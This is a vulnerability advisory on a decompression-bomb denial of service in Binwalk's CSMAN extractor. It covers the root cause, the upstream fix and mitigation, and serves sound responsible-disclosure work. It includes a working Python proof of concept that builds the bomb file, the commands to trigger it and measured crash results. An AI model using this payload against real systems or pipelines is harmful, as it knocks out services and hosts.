
This advisory comes out of our open source partnership program. The target is Binwalk, the firmware analysis tool that almost every hardware and IoT researcher has in their toolbox. BackBox AI identified an uncontrolled memory allocation in the CSMAN extractor that allows a tiny crafted input file to trigger a memory-exhaustion denial of service, and it does so during a plain scan, before any extraction is requested.
The finding was reported through responsible disclosure. The maintainer confirmed it and shipped a fix.
Advisory Summary
| Field | Detail |
|---|---|
| Project | Binwalk (Rust rewrite) |
| Affected | v3.1.1 and later (CSMAN signature was introduced in v3.1.1) |
| Not affected | v3.1.0 and earlier (no CSMAN signature) |
| Component | src/signatures/csman.rs, src/extractors/csman.rs |
| Class | Uncontrolled memory allocation, decompression bomb |
| CWE | CWE-409, CWE-789 (Uncontrolled Resource Consumption) |
| CVSS 3.1 | Not formally assigned; assessed High (local, availability impact) |
| Severity | High |
| Advisory ID | BBL-2026-06041 (internal tracking; no CVE assigned) |
| Status | Fixed upstream in commit 7042869 (2026-06-17) |
The Vulnerability
Binwalk's scan phase does more than pattern-match. For the CSMAN signature, the parser in signatures/csman.rs invokes the extractor as a dry run:
extract_csman_dat(file_data, offset, None)
That call happens during the scan, which is the important part: the user does not need to pass -e, and no files are written to disk. Inside the extractor (extractors/csman.rs), the compressed payload is inflated with miniz_oxide:
// Before the fix: no ceiling on the output size
inflate::decompress_to_vec(compressed_data)
decompress_to_vec() allocates the entire decompressed output as a single contiguous Vec in memory. The decompressed_size field is read from the untrusted file header without any upper-bound validation, and the extractor performs an unbounded decompression regardless. Crucially, CSMAN entry parsing only happens after decompression, so even a payload that is complete garbage still forces the full allocation first.
This is a different design from Binwalk's gzip extractor, which streams through an 8 KB buffer and never has to hold the whole output in memory at once. The CSMAN path had no such guard.
Reproduction
The proof of concept builds a valid-looking CSMAN header in front of a highly compressible zlib stream (a run of zero bytes), so a small file expands to an enormous decompressed size:
import zlib, struct
def create_csman_bomb(decompressed_mb=500):
decompressed = b'\x00' * (decompressed_mb * 1024 * 1024)
compressed = zlib.compress(decompressed, 9)
header = b'CS'
header += struct.pack('<H', 0)
header += struct.pack('<I', len(compressed))
header += struct.pack('<I', 0)
header += struct.pack('<I', len(decompressed))
return header + compressed
Triggering it needs nothing more than a normal scan:
python3 exploit_csman_dos.py 3000 # ~3 MB file, claims 3 GB decompressed
binwalk csman_mem_bomb.bin # no -e flag needed
Measured behavior on Binwalk v3.1.1 tracked the requested size almost linearly:
| Claimed size | Input file | Result |
|---|---|---|
| 100 MB | ~100 KB | 16 s scan, 249 MB RAM spike |
| 500 MB | ~500 KB | 1m20s scan |
| 1.5 GB | ~1.5 MB | 2m37s scan, ~1.5 GB allocated |
| 3 GB | ~3 MB | OOM killed after 18 s |
The kernel confirmed the out-of-memory kill:
Out of memory: Killed process 11302 (binwalk) total-vm:9336476kB, anon-rss:7309568kB
Impact
An attacker only needs a victim to run binwalk against a malicious file, which is the single most common thing anyone does with the tool. A crafted file well under 10 MB can consume all available RAM, crash the process, and trigger the Linux OOM killer, which may terminate the Binwalk process and, depending on system memory pressure and configuration, other processes on the same host. For a tool that is routinely fed untrusted firmware images and unknown blobs, and often run inside automated analysis pipelines, that is a meaningful denial-of-service primitive.
The Fix
We reported the issue to the maintainer, who confirmed it and addressed it in commit 7042869, "Fix csman resource exhaustion bug" on 2026-06-17. The change is exactly the bounded-decompression guard the situation calls for: a hard ceiling on the decompressed size, enforced at inflate time.
const MAX_DECOMPRESSED_SIZE: usize = 100 * 1024 * 1024; // 100 MB
// After the fix: the limit is passed to the decompressor
inflate::decompress_to_vec_with_limit(compressed_data, MAX_DECOMPRESSED_SIZE)
Files that would inflate beyond the limit now fail CSMAN extraction during signature validation without allocating excessive memory. The commit also adds a regression test with a checked-in decompression-bomb sample, which is the right way to keep a fix like this from quietly regressing.
How BackBox AI Found It
The interesting part of this bug is not the payload, it is the reachability. A decompression bomb is only dangerous if it fires without user intent, and here the trigger sits in the scan path rather than behind the -e extraction flag. BackBox AI followed the call from the CSMAN signature parser into the extractor, noticed that decompress_to_vec() commits to the full allocation before any entry validation, and contrasted it with the streaming approach used elsewhere in the codebase. Recognizing that asymmetry, that one extractor allocates eagerly while its siblings stream, is the kind of cross-referencing our platform is built to do, and it is what elevated this from theoretical to demonstrable.
Mitigation
Users running affected Binwalk versions should update to a release that includes commit 7042869. The broader lesson generalizes beyond CSMAN: any code path that decompresses attacker-controlled data should enforce an output ceiling and, where possible, stream rather than materialize the whole result. Trusting a size field from an untrusted header is the recurring anti-pattern behind decompression bombs.
Conclusion
This was a clean example of what the partnership program is meant to produce: a real, reproducible flaw, a responsive maintainer, and a fix landed upstream where every user benefits. Our thanks to the Binwalk team for the quick turnaround.
If you maintain an open source project and think an extra set of eyes would help, apply to partner with us.